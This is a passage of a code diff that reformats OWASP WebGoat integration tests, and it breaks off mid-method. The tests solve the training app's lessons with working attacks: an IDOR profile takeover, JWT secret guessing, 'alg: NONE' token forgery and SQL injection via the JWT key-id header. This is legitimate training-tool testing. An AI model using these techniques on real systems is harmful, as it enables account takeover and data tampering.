 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
@ -16,81 +15,84 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;

+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import lombok.SneakyThrows;
+
 public class IDORIntegrationTest extends IntegrationTest {
 	
-  @BeforeEach
-  @SneakyThrows
-  public void init() {
-    startLesson("IDOR");
-  }
+	@BeforeEach
+    @SneakyThrows
+    public void init() {
+    	startLesson("IDOR");        
+    }

-  @TestFactory
-  Iterable<DynamicTest> testIDORLesson() {
-    return Arrays.asList(
-        dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
-  }
+    @TestFactory
+    Iterable<DynamicTest> testIDORLesson() {
+    	return Arrays.asList(
+    			dynamicTest("login",()-> loginIDOR()),
+    			dynamicTest("profile", () -> profile())
+    			);
+    }
 	
-  @AfterEach
-  public void shutdown() throws IOException {
-    checkResults("/IDOR");
-  }
+    @AfterEach
+    public void shutdown() throws IOException {
+        checkResults("/IDOR");        
+    }
    
-  private void loginIDOR() throws IOException {
+    private void loginIDOR() throws IOException {
    	
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "tom");
-    params.put("password", "cat");
+    	Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "tom");
+        params.put("password", "cat");
       
-    checkAssignment(url("/WebGoat/IDOR/login"), params, true);
-  }
    	
-  private void profile() {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/IDOR/profile"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("userId"),
-        CoreMatchers.is("2342384"));
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("attributes", "userId,role");
-    checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
-    params.clear();
-    params.put("url", "WebGoat/IDOR/profile/2342384");
-    checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
+        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
        	
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/IDOR/profile/2342388"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
+    }
+    
+    private void profile() {
+    	MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/IDOR/profile"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("userId"), CoreMatchers.is("2342384"));
+    	Map<String, Object> params = new HashMap<>();
+    	params.clear();
+        params.put("attributes", "userId,role");
+        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
+        params.clear();
+        params.put("url", "WebGoat/IDOR/profile/2342384");
+        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
+        
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/IDOR/profile/2342388"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+        
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())    
+                        .contentType(ContentType.JSON) //part of the lesson
+                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
+                        .put(url("/WebGoat/IDOR/profile/2342388"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
+        
+        
+    }
    
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON) // part of the lesson
-            .body(
-                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
-                    + " \"userId\":\"2342388\"}")
-            .put(url("/WebGoat/IDOR/profile/2342388"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
 }
--- a/src/it/java/org/owasp/webgoat/IntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/IntegrationTest.java
@ -1,266 +1,231 @@
 package org.owasp.webgoat;

-import static io.restassured.RestAssured.given;
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.Map;
-import java.util.Objects;
 import lombok.Getter;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
-import org.springframework.http.HttpStatus;
+
+import java.util.Map;
+import java.util.Objects;
+
+import static io.restassured.RestAssured.given;

 public abstract class IntegrationTest {

-  private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+    @Getter
+    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
+    private static boolean useSSL = false;
+    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
+    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
+    @Getter
+    private String webGoatCookie;
+    @Getter
+    private String webWolfCookie;
+    @Getter
+    private String user = "webgoat";

-  @Getter
-  private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-
-  private static boolean useSSL = false;
-  private static String webgoatUrl =
-      (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-  private static String webWolfUrl =
-      (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-  @Getter private String webGoatCookie;
-  @Getter private String webWolfCookie;
-  @Getter private final String user = "webgoat";
-
-  protected String url(String url) {
-    url = url.replaceFirst("/WebGoat/", "");
-    url = url.replaceFirst("/WebGoat", "");
-    url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-    return webgoatUrl + url;
-  }
-
-  protected String webWolfUrl(String url) {
-    url = url.replaceFirst("/WebWolf/", "");
-    url = url.replaceFirst("/WebWolf", "");
-    url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-    return webWolfUrl + url;
-  }
-
-  @BeforeEach
-  public void login() {
-    String location =
-        given()
-            .when()
-            .relaxedHTTPSValidation()
-            .formParam("username", user)
-            .formParam("password", "password")
-            .post(url("login"))
-            .then()
-            .cookie("JSESSIONID")
-            .statusCode(302)
-            .extract()
-            .header("Location");
-    if (location.endsWith("?error")) {
-      webGoatCookie =
-          RestAssured.given()
-              .when()
-              .relaxedHTTPSValidation()
-              .formParam("username", user)
-              .formParam("password", "password")
-              .formParam("matchingPassword", "password")
-              .formParam("agree", "agree")
-              .post(url("register.mvc"))
-              .then()
-              .cookie("JSESSIONID")
-              .statusCode(302)
-              .extract()
-              .cookie("JSESSIONID");
-    } else {
-      webGoatCookie =
-          given()
-              .when()
-              .relaxedHTTPSValidation()
-              .formParam("username", user)
-              .formParam("password", "password")
-              .post(url("login"))
-              .then()
-              .cookie("JSESSIONID")
-              .statusCode(302)
-              .extract()
-              .cookie("JSESSIONID");
+    protected String url(String url) {
+        url = url.replaceFirst("/WebGoat/", "");
+        url = url.replaceFirst("/WebGoat", "");
+        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
+        return webgoatUrl + url;
    }

-    webWolfCookie =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .formParam("username", user)
-            .formParam("password", "password")
-            .post(webWolfUrl("login"))
-            .then()
-            .statusCode(302)
-            .cookie("WEBWOLFSESSION")
-            .extract()
-            .cookie("WEBWOLFSESSION");
-  }
-
-  @AfterEach
-  public void logout() {
-    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
-  }
-
-  public void startLesson(String lessonName) {
-    startLesson(lessonName, false);
-  }
-
-  public void startLesson(String lessonName, boolean restart) {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url(lessonName + ".lesson.lesson"))
-        .then()
-        .statusCode(200);
-
-    if (restart) {
-      RestAssured.given()
-          .when()
-          .relaxedHTTPSValidation()
-          .cookie("JSESSIONID", getWebGoatCookie())
-          .get(url("service/restartlesson.mvc"))
-          .then()
-          .statusCode(200);
+    protected String webWolfUrl(String url) {
+        url = url.replaceFirst("/WebWolf/", "");
+        url = url.replaceFirst("/WebWolf", "");
+        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
+        return webWolfUrl + url;
    }
-  }

-  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
+    @BeforeEach
+    public void login() {
+        String location = given()
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", user)
+                .formParam("password", "password")
+                .post(url("login")).then()
+                .cookie("JSESSIONID")
+                .statusCode(302)
+                .extract().header("Location");
+        if (location.endsWith("?error")) {
+            webGoatCookie = RestAssured.given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .formParam("username", user)
+                    .formParam("password", "password")
+                    .formParam("matchingPassword", "password")
+                    .formParam("agree", "agree")
+                    .post(url("register.mvc"))
+                    .then()
+                    .cookie("JSESSIONID")
+                    .statusCode(302)
+                    .extract()
+                    .cookie("JSESSIONID");
+        } else {
+            webGoatCookie = given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .formParam("username", user)
+                    .formParam("password", "password")
+                    .post(url("login")).then()
+                    .cookie("JSESSIONID")
+                    .statusCode(302)
+                    .extract().cookie("JSESSIONID");
+        }
+
+        webWolfCookie = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", user)
+                .formParam("password", "password")
+                .post(webWolfUrl("login"))
+                .then()
+                .statusCode(302)
+                .cookie("WEBWOLFSESSION")
+                .extract()
+                .cookie("WEBWOLFSESSION");
+    }
+
+    @AfterEach
+    public void logout() {
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
+                .when()
+                .relaxedHTTPSValidation()
+                .get(url("logout"))
+                .then()
+                .statusCode(200);
+    }

-  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
+    public void startLesson(String lessonName) {
+        startLesson(lessonName, false);
+    }
+
+    public void startLesson(String lessonName, boolean restart) {
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .put(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url(lessonName + ".lesson.lesson"))
+                .then()
+                .statusCode(200);

-  // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
-  // only required to be in the same package)
-  public void checkResults(String prefix) {
-    checkResults();
+        if (restart) {
+            RestAssured.given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .cookie("JSESSIONID", getWebGoatCookie())
+                    .get(url("service/restartlesson.mvc"))
+                    .then()
+                    .statusCode(200);
+        }
+    }

-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/lessonoverview.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .getList("assignment.path"),
-        CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
-  }
+    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }

-  public void checkResults() {
-    var result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/lessonoverview.mvc"))
-            .andReturn();
+    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .put(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }

-    MatcherAssert.assertThat(
-        result.then().statusCode(200).extract().jsonPath().getList("solved"),
-        CoreMatchers.everyItem(CoreMatchers.is(true)));
-  }
+    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
+    public void checkResults(String prefix) {
+        checkResults();

-  public void checkAssignment(
-      String url, ContentType contentType, String body, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(contentType)
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .body(body)
-            .post(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
+        MatcherAssert.assertThat(RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/lessonoverview.mvc"))
+                .then()
+                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));

-  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .queryParams(params)
-            .get(url)
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
-  }
+    }

-  public String getWebWolfFileServerLocation() {
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/file-server-location"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.replace("%20", " ");
-    return result;
-  }
+    public void checkResults() {
+        var result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/lessonoverview.mvc"))
+                .andReturn();

-  public String webGoatServerDirectory() {
-    return RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("/server-directory"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-  }
+        MatcherAssert.assertThat(result.then()
+                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
+    }
+
+    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .contentType(contentType)
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .body(body)
+                        .post(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .queryParams(params)
+                        .get(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    public String getWebWolfFileServerLocation() {
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/file-server-location"))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.replace("%20", " ");
+        return result;
+    }
+
+    public String webGoatServerDirectory() {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/server-directory"))
+                .then()
+                .extract().response().getBody().asString();
+    }

-  public void cleanMailbox() {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .delete(webWolfUrl("/mail"))
-        .then()
-        .statusCode(HttpStatus.ACCEPTED.value());
-  }
 }
+
--- a/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java
@ -1,16 +1,5 @@
 package org.owasp.webgoat;

-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.node.ObjectNode;
-import io.jsonwebtoken.Header;
-import io.jsonwebtoken.JwsHeader;
-import io.jsonwebtoken.Jwt;
-import io.jsonwebtoken.JwtException;
-import io.jsonwebtoken.Jwts;
-import io.jsonwebtoken.SignatureAlgorithm;
-import io.jsonwebtoken.impl.TextCodec;
-import io.restassured.RestAssured;
 import java.io.IOException;
 import java.nio.charset.Charset;
 import java.security.InvalidKeyException;
@ -21,230 +10,207 @@ import java.util.Calendar;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.TextCodec;
+import io.restassured.RestAssured;
 import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;

 public class JWTLessonIntegrationTest extends IntegrationTest {
 	
-  @Test
-  public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-    startLesson("JWT");
+    @Test
+    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
+    	startLesson("JWT");

-    decodingToken();
+    	decodingToken();
  
-    resetVotes();
+        resetVotes();
                
-    findPassword();
+        findPassword();
        
-    buyAsTom();
+        buyAsTom();
        
-    deleteTom();
+        deleteTom();

-    quiz();
+		quiz();
        
-    checkResults("/JWT/");
-  }
-
-  private String generateToken(String key) {
-
-    return Jwts.builder()
-        .setIssuer("WebGoat Token Builder")
-        .setAudience("webgoat.org")
-        .setIssuedAt(Calendar.getInstance().getTime())
-        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
-        .setSubject("tom@webgoat.org")
-        .claim("username", "WebGoat")
-        .claim("Email", "tom@webgoat.org")
-        .claim("Role", new String[] {"Manager", "Project Administrator"})
-        .signWith(SignatureAlgorithm.HS256, key)
-        .compact();
-  }
-
-  private String getSecretToken(String token) {
-    for (String key : JWTSecretKeyEndpoint.SECRETS) {
-      try {
-        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
-      } catch (JwtException e) {
-        continue;
-      }
-      return TextCodec.BASE64.encode(key);
+        checkResults("/JWT/");
    }
-    return null;
-  }
    
-  private void decodingToken() {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParam("jwt-encode-user", "user")
-            .post(url("/WebGoat/JWT/decode"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
+    private String generateToken(String key) {
    	
-  private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
+    	return Jwts.builder()
+		.setIssuer("WebGoat Token Builder")
+		.setAudience("webgoat.org")
+		.setIssuedAt(Calendar.getInstance().getTime())
+		.setExpiration(Date.from(Instant.now().plusSeconds(60)))
+		.setSubject("tom@webgoat.org")
+		.claim("username", "WebGoat")
+		.claim("Email", "tom@webgoat.org")
+		.claim("Role", new String[] {"Manager", "Project Administrator"})
+		.signWith(SignatureAlgorithm.HS256, key).compact();
+    }
    
-    String accessToken =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/JWT/secret/gettoken"))
-            .then()
-            .extract()
-            .response()
-            .asString();
+    private String getSecretToken(String token) {
+    	for (String key : JWTSecretKeyEndpoint.SECRETS) {
+    		try {
+    			Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+    		} catch (JwtException e) {
+    			continue;
+    		}
+    		return TextCodec.BASE64.encode(key);
+    	}
+    	return null;
+    }

-    String secret = getSecretToken(accessToken);
+	private void decodingToken() {
+		MatcherAssert.assertThat(
+				RestAssured.given()
+						.when()
+						.relaxedHTTPSValidation()
+						.cookie("JSESSIONID", getWebGoatCookie())
+						.formParam("jwt-encode-user", "user")
+						.post(url("/WebGoat/JWT/decode"))
+						.then()
+						.statusCode(200)
+						.extract().path("lessonCompleted"), CoreMatchers.is(true));

-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParam("token", generateToken(secret))
-            .post(url("/WebGoat/JWT/secret"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
+	}
    
-  private void resetVotes() throws IOException {
-    String accessToken =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/WebGoat/JWT/votings/login?user=Tom"))
-            .then()
-            .extract()
-            .cookie("access_token");
+    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
    	
-    String header = accessToken.substring(0, accessToken.indexOf("."));
-    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
+    	String accessToken = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/WebGoat/JWT/secret/gettoken"))
+                .then()
+                .extract().response().asString();
    	
-    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
-    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
+    	String secret = getSecretToken(accessToken);
    	
-    ObjectMapper mapper = new ObjectMapper();
-    JsonNode headerNode = mapper.readTree(header);
-    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+    	MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParam("token", generateToken(secret))
+                        .post(url("/WebGoat/JWT/secret"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
    	
-    JsonNode bodyObject = mapper.readTree(body);
-    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
+    }
    
-    String replacedToken =
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-            .concat(".")
-            .concat(
-                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
-                    .toString())
-            .concat(".")
-            .replace("=", "");
+    private void resetVotes() throws IOException {
+    	String accessToken = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
+                .then()
+                .extract().cookie("access_token");

-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .cookie("access_token", replacedToken)
-            .post(url("/WebGoat/JWT/votings"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
+        String header = accessToken.substring(0, accessToken.indexOf("."));
+        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
        
-  private void buyAsTom() throws IOException {
+        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
+        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));

-    String header =
-        new String(
-            Base64.getUrlDecoder()
-                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+        ObjectMapper mapper = new ObjectMapper();
+        JsonNode headerNode = mapper.readTree(header);
+        headerNode = ((ObjectNode) headerNode).put("alg","NONE");

-    String body =
-        new String(
-            Base64.getUrlDecoder()
-                .decode(
-                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
-                        .getBytes(Charset.defaultCharset())));
+        JsonNode bodyObject = mapper.readTree(body);
+        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
        
-    body = body.replace("Jerry", "Tom");
+        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+        		.concat(".")
+        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
+        		.concat(".").replace("=", "");
        
-    ObjectMapper mapper = new ObjectMapper();
-    JsonNode headerNode = mapper.readTree(header);
-    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .cookie("access_token", replacedToken)
+                        .post(url("/WebGoat/JWT/votings"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
    
-    String replacedToken =
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-            .concat(".")
-            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-            .concat(".")
-            .replace("=", "");
+	private void buyAsTom() throws IOException {
 		
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Authorization", "Bearer " + replacedToken)
-            .post(url("/WebGoat/JWT/refresh/checkout"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
+		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));

-  private void deleteTom() {
+		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));

-    Map<String, Object> header = new HashMap();
-    header.put(Header.TYPE, Header.JWT_TYPE);
-    header.put(
-        JwsHeader.KEY_ID,
-        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-    String token =
-        Jwts.builder()
-            .setHeader(header)
-            .setIssuer("WebGoat Token Builder")
-            .setAudience("webgoat.org")
-            .setIssuedAt(Calendar.getInstance().getTime())
-            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
-            .setSubject("tom@webgoat.org")
-            .claim("username", "Tom")
-            .claim("Email", "tom@webgoat.org")
-            .claim("Role", new String[] {"Manager", "Project Administrator"})
-            .signWith(SignatureAlgorithm.HS256, "deletingTom")
-            .compact();
+		body = body.replace("Jerry", "Tom");
 		
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .post(url("/WebGoat/JWT/final/delete?token=" + token))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
+		ObjectMapper mapper = new ObjectMapper();
+		JsonNode headerNode = mapper.readTree(header);
+		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");

-  private void quiz() {
-    Map<String, Object> params = new HashMap<>();
-    params.put("question_0_solution", "Solution 1");
-    params.put("question_1_solution", "Solution 2");
+		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
+				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+				.concat(".").replace("=", "");
+
+		MatcherAssert.assertThat(RestAssured.given()
+				.when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie())
+				.header("Authorization","Bearer "+replacedToken)
+				.post(url("/WebGoat/JWT/refresh/checkout"))
+				.then().statusCode(200)
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+	}
+	
+	private void deleteTom() {
+		
+		Map<String, Object> header = new HashMap();
+		  header.put(Header.TYPE, Header.JWT_TYPE);
+		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
